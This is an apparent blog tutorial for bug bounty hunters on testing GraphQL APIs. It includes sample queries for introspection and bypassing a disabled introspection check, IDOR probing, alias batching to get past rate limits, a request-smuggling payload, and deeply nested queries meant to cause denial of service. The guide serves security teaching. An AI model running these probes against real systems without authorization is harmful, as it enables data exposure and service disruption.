A Beginner’s Guide to Pentesting GraphQL APIs
GraphQL has gained immense popularity for its flexibility in API design. As a bug bounty hunter or pentester, understanding how to exploit its nuances can uncover critical vulnerabilities. This guide compiles practical test cases to help you uncover potential security issues.
What is GraphQL?
GraphQL is an API query language developed by Facebook. Unlike REST APIs, where endpoints are tied to specific resources, GraphQL APIs use a single endpoint for all requests. Clients can request exactly the data they need, avoiding over-fetching or under-fetching. Its flexibility and efficiency make it a preferred choice for modern applications.
Where and Why is GraphQL Used?
GraphQL is used in web and mobile applications where:
- Customizable Data Retrieval: Clients request tailored datasets.
- Single Endpoint: Simplifies client-server communication.
- Complex Queries: Nested relationships and connections between resources.
However, its flexibility introduces potential security risks, especially when improperly configured.


How to Find GraphQL Endpoints?
Before testing a GraphQL API, you must locate the endpoint. Here’s how:
1. Common GraphQL Endpoint Paths
GraphQL services often use predictable paths. Test these with a universal query like query { __typename }
. If the URL corresponds to a GraphQL service, the response will include {"data": {"__typename": "query"}}
.
Common Paths to Test:
/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
/v1/graphql
2. Testing with Request Methods
- POST (application/json): The standard method for GraphQL queries.
- GET (query string): Some endpoints allow queries via GET requests.
- POST (x-www-form-urlencoded): Occasionally supported.
If POST
requests fail, try alternative methods with the same query.
Now, let us look into a more compact checklist of common graphQL Test cases.
- Endpoint Discovery:
- Test common paths.
- Try different HTTP methods.
2. Basic Testing:
- Universal query (
{ __typename }
). - Valid and invalid queries.
3. Schema Discovery:
- Introspection queries.
- Suggestions in error messages.
4. Parameter Testing:
- IDOR vulnerabilities.
- Invalid field injections.
5. Rate Limiting:
- Test with aliases.
- Bulk queries in one request.
6. Input Validation:
- Boundary testing for input sizes.
- Special characters and encoding.
7. Complex Query Handling:
- Deeply nested queries.
- Test for server performance issues.
8. HTTP-Level Attacks:
- Request smuggling.
- Manipulated headers.
Initial Testing of a Discovered Endpoint
Using Burp Suite
- Use Burp’s browser to interact with the application.
- Capture queries in HTTP history.
- Recreate and manipulate captured queries for testing.
Test Cases:
Basic Query: Test simple queries to validate the endpoint
query { __typename }
Complex Nested Query: Test how the server handles large or nested queries.
Exploiting GraphQL Vulnerabilities
- Unsanitized Arguments (IDOR Testing)
GraphQL APIs often use arguments to fetch specific objects. Test if modifying arguments allows unauthorized data access.
query GetUser($id: ID!) {
user(id: $id) {
id
email
role
}
}
Payload:
{
"id": "2"
}
- Modify
id
to access other users’ data. If successful, this indicates an IDOR vulnerability.
2. Schema Discovery Using Introspection
GraphQL’s introspection feature provides information about the schema.
Basic Introspection Query:
query {
__schema {
types {
name
}
}
}
If introspection is disabled, try bypass techniques:
- Add a newline after
__schema:
query { __schema
{ types { name } } }
- Test alternative methods like GET requests with URL-encoded queries.
GET /graphql?query=query%7B__schema%7Btypes%7Bname%7D%7D%7D
3. Suggestions for Schema Information
Error messages may suggest valid field names if you submit incorrect queries:
query { productInfo }
Response:
“There is no entry for ‘productInfo’. Did you mean ‘productInformation’?”
4. Aliases to Bypass Rate Limiting
GraphQL aliases allow you to query the same field multiple times in a single request, potentially bypassing rate limiters.
query isValidDiscount($code: String!) {
alias1: isValidDiscount(code: $code) { valid }
alias2: isValidDiscount(code: $code) { valid }
alias3: isValidDiscount(code: $code) { valid }
}
This sends multiple queries in a single HTTP request, bypassing rate limits.
5. Input Range Validation
Test input fields for excessive lengths or unexpected data:
{
"query": "mutation Test($id: ID!) { test(id: $id) }",
"variables": { "id": "A".repeat(1000) }
}
- Special Characters: Inject special characters to check validation and sanitization to test injection-related vulnerabilities.
6. HTTP Smuggling
Manipulate headers like Content-Length
and Transfer-Encoding
to test how intermediaries handle requests.
POST /graphql HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 20
0
POST /malicious HTTP/1.1
Content-Length: 0
7. Deeply Nested Queries
Deeply nested queries can cause Denial of Service (DoS) or reveal schema flaws.
query {
user {
friends {
friends {
friends {
id
}
}
}
}
}
In the next part of this blog series, we’ll discuss:
- Advanced GraphQL attacks.
- Recommendations for securing GraphQL APIs.
- Best practices for API developers and testers.
If you have come until here, then I suggest going through the following vulnerability reports for your additional research :)
- Authentication Bypass resulted from a graphQL bug: https://www.hackerone.com/vulnerability-management/graphql-authentication-bypass
- Private list members disclosure via GraphQL in X (Twitter) — 2020: https://hackerone.com/reports/885539
- SQL injection in GraphQL endpoint — https://hackerone.com/reports/435066
GraphQL is powerful but comes with unique security challenges. Happy hunting, and may your bug bounty reports lead to insightful findings!